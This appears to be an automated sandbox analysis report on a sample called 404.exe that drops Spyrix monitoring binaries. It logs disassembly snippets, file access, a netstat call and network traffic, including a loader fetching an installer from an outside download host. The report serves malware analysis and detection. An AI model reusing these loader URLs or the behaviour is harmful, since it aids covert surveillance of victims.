Source: https://dashboard.spyrix.com/login

HTTP Parser: Title: Welcome Back does not match URL

Source: https://dashboard.spyrix.com/login

HTTP Parser: <input type="password" .../> found

Source: https://dashboard.spyrix.com/login

HTTP Parser: No <meta name="author".. found

Source: https://dashboard.spyrix.com/login

HTTP Parser: No <meta name="copyright".. found

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49762 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 23.109.93.100:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 167.114.14.170:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 167.114.14.168:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.5:49723 version: TLS 1.2

Source: 404.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_0040AC68 FindFirstFileW,FindClose,	46_2_0040AC68
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_0040A700 lstrcpynW,lstrcpynW,lstrcpynW,FindFirstFileW,FindClose,lstrlenW,lstrcpynW,lstrlenW,lstrcpynW,	46_2_0040A700
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_033575E8 FindFirstFileA,	46_2_033575E8
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_033576C4 FindFirstFileA,GetLastError,	46_2_033576C4

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user\AppData\Roaming
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user\AppData

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov eax, edx	60_2_00DDB510
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then cmp dword ptr [edi+04h], ebp	60_2_00DD48F0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then add eax, dword ptr [ecx+10h]	60_2_00E3C0F0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push esi	60_2_00DD20F0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then movzx edx, byte ptr [ecx]	60_2_00E35060
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov ecx, eax	60_2_00E2F270
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push dword ptr [ebx]	60_2_00DE33B0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov byte ptr [edx], cl	60_2_00E15360
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	60_2_00DD6370
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov edi, dword ptr [ebx]	60_2_00DD7360
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	60_2_00DD74E0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	60_2_00DD76C1
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 0000000Ch	60_2_00DE36A0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000019h	60_2_00DE36A0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	60_2_00DD7641
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	60_2_00DD77E7
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	60_2_00DD774F
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	60_2_00DD7771
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov ebx, dword ptr [edi-04h]	60_2_00E2E8A0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	60_2_00DD78AB
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov edi, dword ptr [edi+04h]	60_2_00DF58A6
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	60_2_00DD785D
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	60_2_00DD7828
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	60_2_00DF59E0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	60_2_00DD79B7
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	60_2_00DD7959
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	60_2_00DD7924
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov ebx, ebp	60_2_00DEDAD0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	60_2_00DEDAD0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then test ebp, ebp	60_2_00DE8AE0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	60_2_00DD7A9B
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	60_2_00DD7A5E
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov eax, dword ptr [edi]	60_2_00DC5A00
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then test ebp, ebp	60_2_00DE8BD0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	60_2_00DD7B8D
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	60_2_00DD7BAC
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov ebx, dword ptr [esi]	60_2_00E03C90
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then cmp esi, edi	60_2_00E16C00
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov ebp, dword ptr [ebx+58h]	60_2_00E2ADE0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	60_2_00DD7D8F
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov edx, dword ptr [esp+74h]	60_2_00DEBD50
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push dword ptr [edi]	60_2_00E18EF0

Networking

Uses netstat to query active network connections and open ports

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat.exe -e

Source: global traffic

HTTP traffic detected: GET /lHeD6Etwo8g0FE5cMVwEMkH/rtyRe243ohygdfrEewd234/s150 HTTP/1.1Host: filedn.comConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49762 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Code function: 60_2_00DF73D0 recv,send,WSAGetLastError,

60_2_00DF73D0

Source: global traffic	HTTP traffic detected: GET /lHeD6Etwo8g0FE5cMVwEMkH/rtyRe243ohygdfrEewd234/s150 HTTP/1.1Host: filedn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /loader/link.php?prg_id=sfk HTTP/1.1Host: cdnbaynet.comUser-Agent: sfk-dst-loader-2.0Accept: /
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /download/sfk/sfk_setup.exe HTTP/1.1Host: swtb-download.spyrix-sfk.comUser-Agent: sfk-dst-loader-2.0Accept: /
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=1lGEUmDv3FSb3cv&MD=WcOAG3Pa HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=1lGEUmDv3FSb3cv&MD=WcOAG3Pa HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: dashboard.spyrix.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/index-004f4025.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/index-93c74fef.css HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn.js HTTP/1.1Host: dashboard.spyrix.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/index-004f4025.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn.js HTTP/1.1Host: dashboard.spyrix.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: dashboard.spyrix.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/en-08b2a987.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://cdn.cdndownload.net/dashboard30/assets/index-004f4025.jsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: dashboard.spyrix.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ConfirmPhoneModal-86d79a8a.css HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Button-ca236c00.css HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ButtonTemplate-fd9601a7.css HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ButtonText-ead06ca1.css HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Nunito-Regular-73dcaa51.woff2 HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cdn.cdndownload.net/dashboard30/assets/index-93c74fef.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Modal-04ffda94.css HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Input-34212571.css HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/en-5393c481.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://cdn.cdndownload.net/dashboard30/assets/index-004f4025.jsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/en-ef960fb7.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://cdn.cdndownload.net/dashboard30/assets/index-004f4025.jsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/index-1178777c.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ConfirmPhoneModal.module-3f369b32.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
